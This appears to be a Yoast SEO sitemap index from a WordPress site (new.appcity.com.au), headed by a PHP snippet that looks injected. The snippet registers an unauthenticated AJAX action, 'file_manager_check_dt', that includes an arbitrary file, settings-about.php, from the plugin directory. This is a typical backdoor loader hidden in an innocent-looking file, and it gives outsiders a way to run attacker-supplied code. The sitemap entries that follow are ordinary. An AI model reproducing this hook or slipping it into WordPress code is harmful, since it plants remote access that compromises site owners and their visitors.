if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//new.appcity.com.au/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>http://new.appcity.com.au/post-sitemap.xml</loc>
		<lastmod>2023-04-03T07:08:00+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://new.appcity.com.au/page-sitemap.xml</loc>
		<lastmod>2023-04-14T11:46:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://new.appcity.com.au/category-sitemap.xml</loc>
		<lastmod>2023-04-03T07:08:00+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://new.appcity.com.au/testimonials_category-sitemap.xml</loc>
		<lastmod>2022-11-18T06:37:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>http://new.appcity.com.au/author-sitemap.xml</loc>
		<lastmod>2023-04-03T06:56:02+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->